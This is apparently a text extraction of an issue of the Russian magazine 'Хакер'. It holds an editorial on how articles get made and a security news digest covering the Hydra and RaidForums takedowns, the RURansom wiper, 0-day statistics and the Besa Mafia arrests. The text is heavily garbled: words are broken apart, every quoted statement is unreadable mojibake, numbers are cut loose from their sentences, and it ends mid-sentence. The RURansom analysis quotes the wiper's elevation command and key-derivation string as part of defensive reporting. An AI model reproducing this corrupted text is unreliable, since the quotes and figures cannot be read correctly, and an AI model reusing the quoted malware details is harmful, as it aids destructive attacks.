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Се год ня мы с тобой будем обсуждать про изводс тво
нажорис тых, соч ных и все ми любимых ста тей «Хакера»!
Почему не сар делек? Дело в том, что этот заман чивый
заголо вок — лишь перевод англий ской иди омы «how
the sausage gets made», которая под разуме вает, что раз- 
говор пой дет о какой-то внут ренней кух не.

«Ни фига себе вы замора чива етесь!» — раз за разом слы шу я от новых авто- 
ров, которые вне зап но узна ют, сколь ко нуж но тру да, что бы прев ратить прис- 
ланный ими текст в готовую к пуб ликации статью. Всё так: над каж дым тек стом
работа ет в сред нем четыре челове ка, и, хоть мы и можем при необ ходимос ти
прог нать его от автор ско го чер новика до пуб ликации за сут ки, обыч но на это
ухо дит как минимум два-три рабочих дня.

По доб рой тра диции (которая воз никла, ког да нам надо ело, что в редак- 
цию час то шлют черт-те что и потом спра шива ют, почему не пуб лику ем) про- 
цесс начина ется с сог ласова ния заяв ки. Автор пишет один абзац, где рас ска- 
зыва ет, зачем нуж но будет читать статью и почему изло жен ное в ней инте рес- 
но и полез но нашим читате лям.

Это, кста ти, не нап расный труд, приз ванный раз влечь редак торов. Такие
заяв ки не толь ко помога ют в обсужде нии темы, но и еще иде аль но годят ся
в качес тве начала тек ста («лида» на про фес сиональ ном жар гоне). Читатель,
откры вая статью, пер вым делом хочет узнать, сто ит ли на нее тра тить вре мя.
Почему бы не объ яснить это сра зу?

Судь ба у заяв ки может быть раз ной. Быва ет, что редак тор сра зу ее одоб- 
ряет, решив, что отка зывать ся от такого сок ровища было бы глу по. Дру гие
темы ждут обсужде ния на ред колле гии, и тог да автор получа ет ответ
по резуль татам. А иног да заод но и пару цен ных советов, как луч ше рас крыть
тему.

Кста ти, нас чет тем. Мы поч ти всег да даем зеленый свет тек стам о прак- 
тике ИБ, если они не пов торя ют какой-то из недав них матери алов. Любой
хар дкор и копание в под робнос тях мило нашим сер дцам, если речь идет
о взло ме. Если нет, то не обес судь — тема дол жна быть хоть нем ного
популяр ной и мас совой, что бы писать об этом статью в «Хакер».

Од новре мен но с одоб рени ем заяв ки редак тор обыч но спра шива ет о сро- 
ке сда чи. Да-да, мы ста раем ся не дик товать свои усло вия, и, если текст
по сво ей сути не супер сроч ный, автор обыч но наз нача ет дед лайн сам. Одна- 
ко сов сем без сро ков работать нель зя: авто ры так и норовят отвлечь ся
и позабыть об обе щан ном тек сте. Нуж но хотя бы знать, ког да начинать тыкать
их палоч кой!

А еще мы решили не угне тать новых авто ров тре бова ниями к офор мле- 
нию. Текст мож но слать хоть в DOCX, хоть в ODT, хоть в фор мате маков ско го
Pages — мы дос таточ но уве рен ные поль зовате ли ПК, что бы их открыть. Хотя
если ты загото вил нам подарок в виде фай ла LaTeX или PDF, то все же оду- 
май ся. Мы, если надо, скон верти руем и их, но уже зло веще скре жеща зубами.

В самой редак ции при этом при нят фор мат Markdown — тот же, что
исполь зует ся, нап ример, на GitHub. Точ нее, нем ного модифи циро ван ный —
что бы учесть вся кие фишеч ки вро де вре зок и кра сиво офор млен ного вывода
тер минала. Пос тоян ные авто ры шлют тек сты имен но в этом фор мате, чем
немало эко номят силы редак торам.

Ког да завет ный архив со стать ей и кар тинка ми пада ет в поч ту редак тору,
тот дол жен при нять важ ное решение: взять статью в работу или прис лать
авто ру еще боль ше цен ных ука заний.

Ес ли текст при нят, то дело за редак турой. Какие-то тек сты вооб ще в ней
не нуж дают ся, и по ним дос таточ но лишь прой тись и приг ладить пос ледние
шерохо ватос ти. Дру гие статьи про ходят через серь езное перепи сыва ние
с нес коль кими раун дами уточ нений у авто ра и доделок.

На ша цель — сде лать так, что бы любой, даже самый слож ный текст было
лег ко читать, при чем без вся кой под готов ки. Конеч но, с нашими темами
такой иде ал недос тижим, но прак тика показы вает, что иног да дос таточ но
нем ного рас путать слиш ком туго зак ручен ные пред ложения, добавить пояс- 
нений тут и там, раз бить на час ти с понят ными наз вани ями — и вот текст уже
заиг рал новыми крас ками.

Я всег да при зываю редак торов быть с авто рами помяг че. Да, мно гие, если
не боль шинс тво из авто ров «Хакера» вос при нима ли школь ные уро ки рус ско го
язы ка как раз дра жающую повин ность. Но ред ко ког да человек блес тяще раз- 
бира ется и в слож ной тех ничес кой теме, и в осо бен ностях пун кту ации.

Во обще, у меня есть теория, что хакеры — одни из самых пло хих кан- 
дидатов в писате ли на све те. Сочета ние тех ничес кой про фес сии и склон- 
ности к инту итив ному под ходу дают совер шенно неп ред ска зуемые резуль- 
таты, ког да человек вдруг стал кива ется с необ ходимостью струк туриро вать
и зафик сировать какие-то зна ния при помощи слов.

Имен но поэто му рас путывать и перепи сывать — веч ная и неиз бежная
часть нашей работы, к которой мы отно сим ся мак сималь но спо кой но. Точ но
так же, как в трав мпункте тебя не будут сты дить за сло ман ную руку, мы
не будем под тру нивать над иска лечен ными пред ложени ями. В край нем слу- 
чае вздох нем и ска жем: «Эка, батень ка, вас уго раз дило!»

Пос ле редак туры текст обыч но воз вра щает ся к авто ру на финаль ную про- 
вер ку. Если от приг лажива ния сти лис тики где-то пос тра дал смысл, то это иде- 
аль ный момент, что бы пожало вать ся. В спор ных ситу ациях, ког да редак тор
хочет написать пок расивее, а автор — пусть и зануд но, но точ но, я рекомен- 
дую выбирать в поль зу автор ско го вари анта. Впро чем, рус ский язык гибок,
а ум — силен, поэто му поч ти всег да мож но при думать вари ант, который
устро ит обо их. Это одна из задач редак тора.

Сле дом текст отправ ляет ся к кор ректо ру для финаль ной вычит ки и устра- 
нения оши бок, про пущен ных менее вни матель ными учас тни ками про цес са.
И наконец, при ходит к выпус кающе му редак тору. Он вно сит пос ледние кор- 
ректи вы в верс тку, убеж дает ся, что кар тинки не потеря лись и креп ко сто ят
на сво их мес тах, под бира ет и под реза ет изоб ражение на обложку и дела ет
целую череду дру гих рутин ных, но необ ходимых дел.

В момент, ког да текст пуб лику ется на сай те, авто ру на поч ту при ходит
авто мати чес кое опо веще ние, начис ляет ся месяц бес плат ной под писки (что- 
бы мож но было сра зу пос мотреть пуб ликацию целиком) и 33% накопи тель ной
скид ки. Вот и весь про цесс!

Как видишь, не нуж но быть каким-то осо бен ным спе циалис том в написа- 
нии тек стов. Глав ное — что бы содер жимое было инте рес ным, а уж пок- 
расивее сфор мулиро вать мы поможем. Поч ти все статьи в «Хакере» написа- 
ны тех нарями и энту зиас тами от ИБ, а не дип ломиро ван ными жур налис тами
и литера тора ми.

Ес ли ты с инте ресом дочитал досюда и у тебя есть мысль написать
в «Хакер», зна чит, эта замет ка наш ла сво его героя. Сроч но записы вай свои
мыс ли и шли заяв ку, мож но пря мо мне (адрес есть на ).
А еще можешь задать воп росы в ком мента риях или схо дить и все же 

, как дела ют эти самые сар дель ки.

стра нице кон тактов
по- 

читать
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В этом месяце: пра воох раните ли зак рыли «Гид ру»
и RaidForums, арес товав их опе рато ров, NFT-про ект Bored
Ape Yacht Club ском про мети рова ли, Илон Маск купил Twitter
и отка зал ся сот рудни чать с Бил лом Гей тсом, драй веры AMD
ули чили в слу чай ном раз гоне про цес соров, рос сий ских раз- 
работ чиков бло киру ют на GitHub, а инже неры GitLab испра- 
вили опас ный баг на сво ей плат форме.

КРУПНЫЕ
ЛИКВИДАЦИИ
«Ãèäðà»

В начале апре ля Федераль ное ведомс тво уго лов ной полиции Гер мании
(Bundeskriminalamt, BKA) и Цен траль ное управле ние Гер мании по борь бе
с кибер прес тупностью (Zentralstelle zur Bekämpfung der Internetkriminalität, ZIT)
сооб щили о лик видации «Гид ры» (Hydra Market), круп ней шей в дар кне те рус- 
ско языч ной тор говой пло щад ки. В ходе опе рации немец кие влас ти смог ли
изъ ять у прес тупни ков 543 бит коина (око ло 25 мил лионов дол ларов по кур су
на тот момент), а так же кон фиско вать сер веры ресур са.

По дан ным влас тей, на момент зак рытия на «Гид ре» нас читыва лось око- 
ло 19 тысяч зарегис три рован ных акка унтов про дав цов, которые обслу жива ли
не менее 17 мил лионов кли ентов по все му миру. При этом обо рот Hydra
Market в 2020 году влас ти оце нива ют в 1,35 мил лиар да дол ларов США, что
делало сайт круп ней шей тор говой пло щад кой в дар кне те.

Сог ласно офи циаль ному пресс-релизу, зак рытие ста ло воз можным пос ле
про дол житель ного рас сле дова ния, нап равлен ного на ранее неиз вес тных
опе рато ров и адми нис тра торов плат формы. Так же пра воох раните ли отме- 
чают, что на Hydra Market работал мик сер Bitcoin Bank, который скры вал все
крип товалют ные тран закции, совер шаемые на плат форме, а это допол- 
нитель но зат рудни ло отсле жива ние средств, получен ных в резуль тате
незакон ной деятель нос ти.

По информа ции блок чейн-ана лити ков из ком пании Elliptic, с момен та сво- 
его соз дания в 2015 году Hydra Market была свя зана с крип товалют ными
тран закци ями на сум му более 5 мил лиар дов дол ларов.

«

»

«Ïëàò ôîðìà ñïå öèàëè çèðî âàëàñü íà ïðî äàæå íàð êîòèêîâ, õîòÿ â îáú- 

ÿâëå íèÿõ íà ñàé òå òàê æå âñòðå ÷àëèñü ïîä äåëü íûå äîêóìåí òû, äàí íûå

(íàï ðèìåð, äàí íûå êðå äèò íûõ êàðò) è öèô ðîâûå óñëó ãè. Ïðî äóê òû

ðåê ëàìèðî âàëèñü äëÿ ïðî äàæè â ðÿäå ñòðàí, òàêèõ êàê Ðîñ ñèÿ, Óêðà- 

èíà, Áåëàðóñü è Êàçàõ ñòàí. Òàê æå Hydra ïðå äîñ òàâëÿ ëà äîïîë íèòåëü- 

íûå óñëó ãè, â òîì ÷èñ ëå îáìåí êðèï òîàê òèâàìè è óñëó ãè ïî îáíà ëè÷è- 

âàíèþ. Ê òîìó æå âñòðî åííàÿ áèð æà òîð ãîâîé ïëî ùàä êè øèðîêî

èñïîëü çîâàëàñü äëÿ îòìû âàíèÿ ñðåäñòâ îò âçëî ìà áèð æè Bitfinex

â 2016 ãîäó», — ðàñ ñêà çàëè â Elliptic.

Вско ре пос ле это го заяв ления немец ких влас тей аме рикан ские влас ти сооб- 
щили, что тоже учас тво вали в опе рации по зак рытию Hydra Market. Тог да
как немец кие влас ти не про изво дили арес тов, свя зан ных с зак рыти ем «Гид- 
ры», а так же их заяв ления не содер жали каких-либо имен, Минис терс тво
юсти ции США выд винуло заоч ные обви нения про тив рос сияни на Дмит рия
Оле гови ча Пав лова. Пред полага емый админ «Гид ры» обви няет ся в сго воре
с целью рас простра нения нар котиков, а так же сго воре с целью отмы вания
денег.

Яко бы Пав лов управлял сер верами тор говой пло щад ки через под став ную
ком панию Promservice («Пром сервис»), так же извес тную как Hosting Company
Full Drive (хос тинго вая ком пания «Пол ный при вод»), All Wheel Drive («Все
колеса») и 4x4host.ru. Будучи адми нис тра тором сер веров Hydra, Пав лов яко- 
бы всту пил в сго вор с дру гими опе рато рами мар кет плей са, что бы спо собс- 
тво вать раз витию сай та, и пре дос тавил прес тупни кам кри тичес ки важ ную
инфраструк туру, которая поз волила Hydra работать и проц ветать в кон курен- 
тной сре де дар кне та. Утвер жда ется, что он получил мил лионы дол ларов
«комис сион ных», содей ствуя работе Hydra.

Око ло двух недель спус тя Мещан ский рай онный суд города Мос квы арес- 
товал Дмит рия Пав лова. Элек трон ная кар тотека гла сит:

«

»

«Ñóä óäîâ ëåòâî ðèë õîäàòàé ñòâî ñëåäñ òâèÿ è èçáðàë ìåðó ïðå ñå÷å íèÿ

â âèäå çàê ëþ÷åíèÿ ïîä ñòðà æó â îòíî øåíèè Ïàâ ëîâà Ä. Î., êîòîðûé

ïðî õîäèò ïî äåëó, âîç áóæäåí íîìó ïî ÷. 5 ñò. 228.1 ÓÊ ÐÔ („Íåçàêîí- 

íûå ïðî èçâîäñ òâî, ñáûò èëè ïåðåñûë êà íàð êîòè÷åñ êèõ ñðåäñòâ, ïñè- 

õîò ðîïíûõ âåùåñòâ èëè èõ àíà ëîãîâ â îñî áî êðóï íîì ðàç ìåðå“)».

При этом в интервью BBC Пав лов заявил, что узнал о про исхо дящем из СМИ
и не име ет никако го отно шения к «Гид ре».

«

»

«Ìû ÿâëÿ åìñÿ õîñ òèíã‑êîì ïàíè åé è èìå åì âñå íåîá õîäèìûå ëèöåí- 

çèè ñâÿ çè Ðîñ êîìíàä çîðà. Ìû íå çàíèìà åìñÿ àäìè íèñ òðè ðîâà íèåì

íèêàêèõ ïëî ùàäîê â ïðèí öèïå, à òîëü êî ïðå äîñ òàâëÿ åì ñåð âåðû

â àðåí äó êàê ïîñ ðåäíè êè (ïåðåï ðîäàâàÿ óñëó ãè). Ìû íå çíà åì, ÷òî

ó íàñ õîñ òèòñÿ, òàê êàê ïîñ ëå ïðå äîñ òàâëå íèÿ äîñ òóïà ê ñåð âåðó êëè- 

åíòû ìåíÿ þò ïàðîëü è äîñ òóï íåâîç ìîæåí», — ðàñ ñêà çàë Ïàâ ëîâ æóð- 

íàëèñ òàì è äîáàâèë, ÷òî åñëè áû åìó áûëî èçâåñ òíî, ÷òî èìåí íî

íàõîäèò ñÿ íà ñåð âåðàõ, òî îí «íå ïðå äîñ òàâèë áû îáî ðóäî âàíèå

íè ïîä êàêèì ïðåä ëîãîì».

Кро ме того, аме рикан ские влас ти объ яви ли, что вво дят сан кции в отно шении
Hydra и крип товалют ной бир жи Garantex. Как писал в Twitter гос секре тарь
США Энто ни Блин кен, эти ско орди ниро ван ные дей ствия «демонс три руют
наше стрем ление про дол жать раз рушать инфраструк туру и [под рывать
работу] вымога телей».

Garantex обви нили в содей ствии опе раци ям по отмы ванию денег, про- 
водив шимся на «Гид ре», что пря мо наруша ет сущес тву ющие пра вила
по борь бе с отмы вани ем денег и финан сирова нием тер рориз ма.

«

»

«Àíà ëèç èçâåñ òíûõ òðàí çàêöèé Garantex ïîêàçû âàåò, ÷òî òðàí çàêöèè

íà ñóì ìó áîëåå 100 ìèë ëèîíîâ äîë ëàðîâ ÑØÀ áûëè ñâÿ çàíû ñ ïðåñ- 

òóïíè êàìè è òîð ãîâûìè ïëî ùàä êàìè äàð êíå òà, â òîì ÷èñ ëå ïî÷- 

òè 6 ìèë ëèîíîâ äîë ëàðîâ ÑØÀ ñâÿ çàíû ñ ðîñ ñèé ñêîé RaaS-ãðóï ïèðîâ- 

êîé Conti, à òàê æå îêî ëî 2,6 ìèë ëèîíà äîë ëàðîâ ÑØÀ — ñ Hydra», —

ãëà ñèò çàÿâ ëåíèå Ìèíèñ òåðñ òâà ôèíàí ñîâ ÑØÀ.

RaidForums

Так же в этом месяце в ходе меж дународ ной опе рации TOURNIQUET, которую
коор диниро вал Евро пол, был зак рыт извес тный хакер ский ресурс
RaidForums, в основном исполь зовав ший ся для тор говли укра ден ными
базами дан ных. Адми нис тра тор RaidForums и двое его сооб щни ков были
арес тованы, а инфраструк тура сай та переш ла под кон троль пра воох- 
ранитель ных орга нов.

«Заг лушка», которая отоб ража ется по адре су RaidForums

Опе рацию боль ше года готови ли влас ти США, Великоб ритании, Шве ции,
Гер мании, Пор тугалии и Румынии. Минис терс тво юсти ции США заяви ло, что
адми нис тра тор сай та, извес тный под ником Omnipotent, был арес тован
еще 31 янва ря 2022 года в Великоб ритании и ему уже предъ явле ны обви- 
нения. Он находил ся под стра жей с момен та арес та до завер шения про цеду- 
ры экс тра диции.

Так как за псев донимом Omnipotent скры вал ся 21-лет ний граж данин Пор- 
тугалии Диогу Сан тос Коэльо (Diogo Santos Coelho), выходит, что он запус тил
RaidForums, ког да ему было 14 лет, так как сайт работал с 2015 года.

Так же извес тно, что пра воох раните ли зах ватили домены, на которых раз- 
меща ется RaidForums: raidforums.com, rf.ws и raid.lol.

По ста тис тике Минис терс тва юсти ции, в общей слож ности на тор говой
пло щад ке было выс тавле но на про дажу более 10 мил лиар дов уни каль ных
записей из сот ни ворован ных баз дан ных, в том чис ле зат рагива ющие людей,
про жива ющих в США. В свою оче редь, Евро пол сооб щает, что на RaidForums
нас читыва лось более 500 тысяч поль зовате лей и он был «одним из круп ней- 
ших хакер ских форумов в мире». Здесь сто ит добавить, что речь идет
об англо языч ных ресур сах.

«

»

«Ýòà òîð ãîâàÿ ïëî ùàä êà ñäå ëàëà ñåáå èìÿ, ïðî äàâàÿ äîñ òóïû ê ãðîì- 

êèì óòå÷ êàì ÁÄ, ïðè íàä ëåæàâ øèõ ðàç ëè÷íûì àìå ðèêàí ñêèì êîð- 

ïîðàöè ÿì èç ðàç íûõ îòðàñëåé. Â íèõ ñîäåð æàëàñü èíôîðìà öèÿ î ìèë- 

ëèîíàõ êðå äèò íûõ êàðò, íîìåðàõ áàí êîâ ñêèõ ñ÷å òîâ è ìàð øðóò íîé

èíôîðìà öèè, à òàê æå èìå íàõ ïîëü çîâàòå ëåé è ñâÿ çàí íûõ ñ íèìè

ïàðîëÿõ, íåîá õîäèìûõ äëÿ äîñ òóïà ê îíëàéí‑àêêà óíòàì», — ñîîá ùàåò

Åâðî ïîë.

По ка неяс но, сколь ко вре мени заняло рас сле дова ние, но, похоже, пра воох- 
раните лям уда лось сос тавить доволь но чет кую кар тину иерар хии RaidForums.
В пресс-релизе Евро пола отме чает ся, что люди, которые под держи вали
работу RaidForums, занима лись адми нис три рова нием, отмы вани ем денег,
похища ли и заг ружали на сайт дан ные, а так же ску пали кра деную информа- 
цию.

При этом упо мяну тый Диогу Сан тос Коэльо яко бы кон тро лиро вал
RaidForums с 1 янва ря 2015 года, то есть с самого стар та, и управлял сай том
при под дер жке нес коль ких адми нис тра торов, орга низо вав струк туру
для прод вижения покуп ки и про дажи ворован ных дан ных. Что бы получать при- 
быль, форум взи мал с поль зовате лей пла ту за раз личные уров ни членс тва
и про давал кре диты, которые поз воляли учас тни кам получать дос туп к более
при виле гиро ван ным областям сай та или к ворован ным дан ным.

Ко эльо так же выс тупал в качес тве пос редни ка и гаран та меж ду сто рона ми,
совер шающи ми сдел ки, обя зуясь сле дить, что бы покупа тели и про дав цы соб-
людали сог лашения.

Ин терес но, что еще в фев рале 2022 года прес тупни ки и ИБ-иссле дова- 
тели заподоз рили, что RaidForums зах вачен пра воох ранитель ными орга нами,
так как сайт начал отоб ражать фор му вхо да на каж дой стра нице. При попыт ке
вой ти на сайт тот прос то сно ва показы вал стра ницу вхо да, и мно гие пред- 
положи ли, что сайт зах вачен и это фишин говая ата ка пра воох раните лей,
которые пыта ются получить учет ные дан ные зло умыш ленни ков.

27 фев раля 2022 года DNS-сер веры raidforums.com и вов се изме нились
на jocelyn.ns.cloudare.com и plato.ns.cloudare.com, что толь ко убе дило
хакеров в их пра воте. Дело в том, что в прош лом эти DNS-сер веры исполь- 
зовались дру гими сай тами, зах вачен ными влас тями, вклю чая weleakinfo.com
и doublevpn.com.

 ЗА TWITTER44 ÌÈËËÈÀÐÄÀ

Ком пания Twitter офи циаль но объ яви ла о том, что при нима ет пред ложение Ило на Мас ка,
который покупа ет ком панию за , что бы сде лать ее час тной.
О желании купить Twitter Маск загово рил в начале апре ля 2022 года и сооб щил, что уже при- 
обрел  акций. Сна чала Маск пла ниро вал вой ти в совет дирек торов, но потом оста вил эту
идею, решил при обрести Twitter пол ностью, что и осу щес твил бук валь но через пару недель.

44  мил лиар да дол ларов

9%

Маск заяв ляет, что дела ет это ради прин ципов сво боды сло ва, которых, по его мне нию, дол жна
при дер живать ся плат форма. Так же он обе щал бороть ся с арми ями ботов, спа мом и так
называ емы ми теневы ми банами.

RURANSOM
УНИЧТОЖАЕТ
ДАННЫЕ
РОССИЙСКИХ
КОМПАНИЙ
Спе циалис ты VMware пре дуп редили сооб щес тво об активнос ти вай пера
RURansom, который ата кует рос сий ские сис темы и умыш ленно унич тожа ет их
дан ные, вклю чая резер вные копии. В отли чие от обыч ных шиф роваль щиков,
которые вымога ют выкуп у пос тра дав ших, автор RURansom не про сит денег,
а прос то стре мит ся при чинить ущерб РФ.

Еще в начале мар та о RURansom писали ана лити ки ком пании Trend Micro,
которые пре дос терега ли поль зовате лей и ком пании об опас ности нового
вай пера (wiper, от англий ско го to wipe — «сти рать», «очи щать»). По информа- 
ции ком пании, вре донос появил ся еще 26 фев раля и был соз дан как дес трук- 
тивное ПО, спе циаль но нацелен ное на унич тожение резер вных копий и дан- 
ных жертв.

Как теперь сооб щили экспер ты VMware, под готовив шие собс твен ный ана- 
лиз, вай пер написан на .NET и рас простра няет ся подоб но чер вю, копируя
себя в виде фай ла с двой ным рас ширени ем doc.exe на все съем ные дис ки
и под клю чен ные сетевые ресур сы.

Пос ле запус ка на машине жер твы мал варь немед ленно вызыва ет фун кцию
IsRussia(), про веряя обще дос тупный IP-адрес сис темы с помощью сер виса,
рас положен ного по адре су https://api[.]ipify[.]org. Затем RURansom исполь- 
зует IP-адрес для опре деле ния геог рафичес кого мес тополо жения машины
с помощью извес тной служ бы геоло кации, исполь зуя фор мат URL-адре са
https://ip-api[.]com/#<пуб личный IP>.

Ес ли жер тва находит ся не в Рос сии, мал варь выводит на экран сооб щение
«Прог рамму могут запус кать толь ко рос сий ские поль зовате ли» и прек раща ет
выпол нение.

Ес ли же про цесс не прер ван, вре донос получа ет при виле гии адми нис тра- 
тора с помощью cmd.exe /c powershell start-process -verb runas и прис тупа ет
к шиф рованию дан ных. Шиф рование при меня ется ко всем рас ширени ям,
кро ме фай лов .bak, которые уда ляют ся. Фай лы шиф руют ся с исполь зовани ем
алго рит ма AES-CBC с жес тко зап рограм мирован ной солью и слу чай но сге- 
нери рован ным клю чом дли ной, рав ной 

.

Base64 ("FullScaleCyberInvasion 
+ " + MachineName)

При этом запис ка, оставлен ная авто ром мал вари в коде и фай ле «Пол- 
номас штаб ное_кибер втор жение.txt», гла сит, что ему не нужен выкуп и он
хочет при чинить ущерб Рос сии, отом стив за «спе циаль ную воен ную опе- 
рацию» в Укра ине.

«

»

«Íåò íèêàêî ãî ñïî ñîáà ðàñ øèôðî âàòü âàøè ôàé ëû. Íèêàêîé îïëà òû,

òîëü êî óùåðá», — çàÿâ ëÿåò ðàç ðàáîò ÷èê â ñîîá ùåíèè, ïðî ïóùåí íîì

÷åðåç Google Translate.

0-DAY-БАГОВ ВСЕ БОЛЬШЕ
Спе циалис ты Google Project Zero и ком пании Mandiant рас кры ли ста тис тику об уяз вимос тях
нулево го дня, обна ружен ных в 2021 году. По дан ным ана лити ков, количес тво слу чаев исполь-
зования 0-day рас тет и чаще все го за такими ата ками сто ят китай ские хакеры.

В общей слож ности в 2021 году Google Project Zero было обна руже но и рас кры то  уяз вимос- 
тей нулево го дня.

58

Для срав нения: в 2020 году было обна руже но толь ко  0-day-экс пло итов, а пре дыду щий
рекорд и вов се был уста нов лен в 2015 году —  экс пло итов.

25
28

Та кой при рост экс плу ати руемых багов экспер ты свя зыва ют с более час тым обна руже нием
и рас кры тием уяз вимос тей и говорят, что хакеры «исполь зуют одни и те же шаб лоны багов
и методы экс плу ата ции, ата куя одни и те же области».

Из 58 уяз вимос тей нулево го дня  были свя заны с пов режде нием информа ции в памяти, а за
ними сле дуют  багов use after free,  проб лем out of bounds чте ния,  проб лемы перепол- 
нения буфера и  бага целочис ленно го перепол нения.

39
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4

Сог ласно отче ту Mandiant, в прош лом году было зарегис три рова но  слу чаев исполь- 
зования 0-day-уяз вимос тей, что на  боль ше, чем в 2020-м и 2019 годах, вмес те взя тых.

80
18

Ак тивнее все го уяз вимос ти нулево го дня экс плу ати ровал , на вто рое мес то Mandiant ста- 
вит  с дву мя экс пло ита ми, а замыка ет трой ку  с одним экс пло итом
в арсе нале.

Ки тай
Рос сию Се вер ная Корея

Продолжение статьи →
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 Начало статьи←

GOOGLE ЗАПРЕЩАЕТ
ЗАПИСЬ ЗВОНКОВ
Ком пания Google анон сирова ла новые пра вила, которые, по сути, зап реща ют
при ложе ния для записи звон ков. В рам ках борь бы с при ложе ниями, которые
зло упот ребля ют API-интерфей сами Accessibility Service в Android, запись
звон ков через эти API-интерфей сы теперь будет зап рещена. Дело в том, что
API Accessibility Service — это прак тичес ки единс твен ный спо соб для сто рон- 
них при ложе ний записы вать звон ки на Android, а зна чит, при ложе ния
для записи звон ков теперь «вне закона».

NLL Apps, раз работ чик при ложе ния ACR Phone для записи звон ков, нас- 
читыва юще го более мил лиона заг рузок в Google Play Store, вни матель но сле- 
дит за изме нени ями пра вил Google. Он одним из пер вых обра тил вни мание,
что  Google Play теперь гла сит: «API для спе циаль ных воз- 
можнос тей не пред назна чен для уда лен ной записи звон ков и не может зап- 
рашивать ся для этой цели». Новый зап рет всту пает в силу 11 мая 2022 года,
то есть в день стар та кон ферен ции Google I/O.

стра ница под дер жки

При этом не наз вано никакой чет кой при чины, по которой Google вдруг
зап реща ет запись звон ков и такие при ложе ния в Play Store. Конеч но, во мно- 
гих стра нах для записи звон ка тре бует ся получить сог ласие одно го или нес- 
коль ких его учас тни ков, но, ког да это тре бова ние выпол нено, записы вать раз- 
говор мож но абсо лют но закон но.

Ин терес но, что при этом у Google не воз ника ет никаких проб лем
с записью звон ков, если речь идет о ее собс твен ных при ложе ниях. К при- 
меру, при ложе ние Google Recorder — это про дукт, пол ностью пос тро енный
на полез ности записи звон ков. Так же при ложе ние Google Phone на телефо- 
нах Pixel под держи вает запись звон ков во мно гих стра нах мира. Раз работ- 
чики сету ют, что Google прос то не пре дос тавля ет им нуж ных API, что бы сто- 
рон ние при ложе ния мог ли кон куриро вать на этом рын ке, а теперь ИТ-гигант
и вов се зак рыва ет оста вав шиеся обходные пути.

В прош лом Google уже , что будет луч ше, если API-интерфей сы
Accessibility Service будут исполь зовать ся толь ко при ложе ниями, пред назна- 
чен ными для людей с огра ничен ными воз можнос тями. Но в силу того, что
для мно гих фун кций поп росту не сущес тву ет дру гих вари антов, не свя зан ных
с Accessibility Service, мно гие при ложе ния все рав но вынуж дены исполь зовать
эти API-интерфей сы.

за явля ла

Так же в прош лом Google уже отклю чала при ложе ния от API Accessibility
Service, похоже намере ваясь бороть ся с записью звон ков, но в ито ге в ком- 
пании отка зались от этих пла нов. В 2020 году во вто рой вер сии Android 11
Developer Preview на корот кое вре мя даже появил ся API
ACCESS_CALL_AUDIO, пред назна чен ный для записи звон ков, хотя в ито ге он
не попал в релиз.

Те перь мно гие жур налис ты и раз работ чики пред полага ют, что план выг- 
лядел имен но так: начать под держи вать запись звон ков с помощью спе- 
циаль ного API, а через нес коль ко лет зап ретить при ложе ниям исполь зовать
для этих целей API Accessibility Service. Вмес то это го получи лось, что Google
зап реща ет все при ложе ния для записи звон ков в Google Play Store, не давая
их соз дателям никакой аль тер нативы.

УДАЛЕНКА ДЛЯ ОСУЖДЕННЫХ
В кулу арах стра теги чес кой кон ферен ции «Импорто неза виси мость», про шед шей в Новоси бир- 
ске, жур налис ты получи ли инте рес ный ком мента рий от зам гла вы ФСИН Алек сан дра Хабаро ва.
Он сооб щил, что ФСИН рас смат рива ет воз можность прив лечения IT-спе циалис тов, отбы- 
вающих наказа ние в испра витель ных цен трах, к уда лен ной работе на ком мерчес кие ком пании.
Сооб щает ся, что с такими пред ложени ями к ведомс тву обра тились в ряде реги онов Рос сии.

→ «Таких спе циалис тов не так мно го. К нам с этой ини циати вой выходят в ряде
тер риторий, в ряде субъ ектов пред при нима тели, которые в этой области
работа ют. Мы толь ко на началь ном эта пе. Если это вос тре бова но, а это, ско рее
все го, вос тре бова но, дума ем, что мы спе циалис тов в этой области не будем
зас тавлять работать на каких-то дру гих про изводс твах»,

— сооб щил Хабаров.

АВТОРОВ BESA MAFIA
ПОЙМАЛИ
Ру мын ская полиция арес товала пятерых муж чин, сто явших за самым извес- 
тным сай том заказ ных убий ств в дар кне те, который носил име на Besa Maa,
Camorra Hitman, а с недав них вре мен — Hitman Marketplace №  1. По сути,
ресурс был фаль шив кой, никаких кил леров адми нис тра торы сай та не зна ли
и не нанима ли, но это не мешало им брать за поиск исполни телей
от 5 до 20 тысяч дол ларов в бит коинах.

Сайт был соз дан еще в 2010-х и яко бы пред лагал посети телям пло щад ку
для поис ка исполни телей заказ ных убий ств. Поль зовате лей про сили пре дос- 
тавить дан ные о цели, информа цию о том, как и ког да дол жно про изой ти
убий ство, а затем про сили опла тить «комис сию» в бит коинах.

С самого начала было ясно, что сайт, ско рее все го, мошен ничес кий, но за
дол гие годы его работы адми нис тра ция при няла тысячи заказов и наш ла
себе мно жес тво плат ных кли ентов. Мужья заказы вали убий ства сво их жен,
деловые пар тне ры иска ли убийц для кол лег, человек, потеряв ший день ги
на сай те спор тивных ста вок, поп росил убить пред ста вите ля служ бы под дер- 
жки, который отка зал ся помочь вер нуть средс тва, нашел ся даже тот, кто
заказал убий ство 14-лет него под рос тка.

Мно гие под робнос ти о Besa Maa  еще в 2016 году, ког да
сайт взло мали, а информа ция о поль зовате лях сай та и их заказах ста ла дос- 
тоянием общес твен ности. Напом ню, что тог да ресурс заяв лял, буд то свя зан
с албан ской мафи ей.

ста ли извес тны

Как сооб щило теперь Румын ское управле ние по рас сле дова нию орга низо- 
ван ной прес тупнос ти и тер рориз ма (DIICOT), рей ды и задер жания были про- 
веде ны по зап росу аме рикан ских влас тей. Минис терс тво наци ональ ной
безопас ности США и ФБР мно го лет рас сле дова ли дела, свя зан ные с этим
ресур сом. Как пишет DIICOT:

«

»

«Âëàñ òè ÑØÀ óñòà íîâè ëè, ÷òî ýòà ãðóï ïà ñîñ òîèò èç ïÿòè èëè áîëåå

ëèö, íàõîäÿ ùèõ ñÿ íà òåð ðèòîðèè Ðóìûíèè, è êîîð äèíèðî âàí íî

óïðàâëÿ åò ýòè ìè ñàé òàìè è îòìû âàåò äåíü ãè, ïîëó÷åí íûå â ðåçóëü òàòå

ïîäñ òðå êàòåëü ñòâ ê óáèé ñòâàì».

В ито ге опе рации были задер жаны пять человек и четыре сви дете ля.
ИБ-эксперт Крис тофер Мон тей ро (Christopher Monteiro) деталь но изу чал

активность Besa Maa еще в 2016 году и пос вятил это му серию ста тей в сво- 
ем бло ге — и нас толь ко разоз лил адми нис тра торов сай та, что они угро жали
